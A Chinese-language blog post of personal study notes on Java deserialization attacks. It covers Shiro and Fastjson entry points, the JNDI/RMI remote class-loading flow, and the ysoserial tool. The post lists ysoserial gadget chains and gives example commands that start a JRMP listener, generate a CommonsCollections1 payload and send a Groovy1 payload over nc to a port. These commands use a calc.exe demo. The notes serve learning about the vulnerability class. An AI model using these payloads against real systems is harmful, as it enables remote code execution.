JAVA反序列化中产生的一些疑问

为什么shiro看到readObject就可以收工了?

对一个类反序列化还原后第一个执行的就是readObject、在反序列化中执行一系列的攻击链条,可能是JDNI攻击链(对JDK版本有要求)、可能是CommonCollections这个宿主类并包装、可能是BadException这个宿主类并包装。反序列化只是实现1.控制输入、反序列(readObject),具体反序列什么样的东西留给攻击链利用研究。

反序列化三个条件

宿主、媒介、恶意代码。其中上述需要传入的就是恶意代码。我们控制了恶意代码的入口点,反序列漏洞就形成了,后续还需要媒介和宿主形成完整的RCE

为什么需要媒介和宿主

JAVA反序列化要求:反序列化的类需要在本地有实现,且实现Serialize接口。因此随便写一个类可以满足第二个条件不能满足第一个条件,因此只能写一个宿主的包装类(这样就被认为传递的是宿主类),其包装就需要媒介类的参与。

Fastjson反序列化的时候怎么做的

Fastjson反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。

使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,

@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

以上为恶意代码阶段


以下为Gadget阶段

常见的攻击流程是这样的:攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。

什么是Gadget

貌似就是后续这条媒介+宿主的利用链吧。

ysoserial是干什么的

简单点来说、就是研究Gadget后整理出来快速利用各个Gadget达到RCE的、其中包含了多种利用链。具体使用有待研究,它很有效,也很方便。

链接方式:JRMP协议

已知攻击链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BeanShell1          
C3P0
Clojure
CommonsBeanutils1
CommonsCollections1
CommonsCollections2
CommonsCollections3
CommonsCollections4
CommonsCollections5
CommonsCollections6
FileUpload1
Groovy1
Hibernate1
Hibernate2
JBossInterceptors1
JRMPClient
JRMPListener
JSON1
JavassistWeld1
Jdk7u21
Jython1
MozillaRhino1
Myfaces1
Myfaces2
ROME
Spring1
Spring2
URLDNS
Wicket1

利用方式官方给出三种:

启动绑定1099的JRMP服务动态提供字节码

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 'calc.exe'

生成字节流文件输出命令行:

java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ….sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat

0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride……….
0000570: 0078 7071 007e 003a .xpq.~.:

主动发送到一个端口序列化后的恶意字节流:

$java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

本文标题:JAVA反序列化中产生的一些疑问

文章作者:

发布时间:2019年12月25日 - 19:37:52

最后更新:2019年12月31日 - 15:19:44

原始链接:http://laker.xyz/2019/12/25/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%AD%E4%BA%A7%E7%94%9F%E7%9A%84%E4%B8%80%E4%BA%9B%E7%96%91%E9%97%AE/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。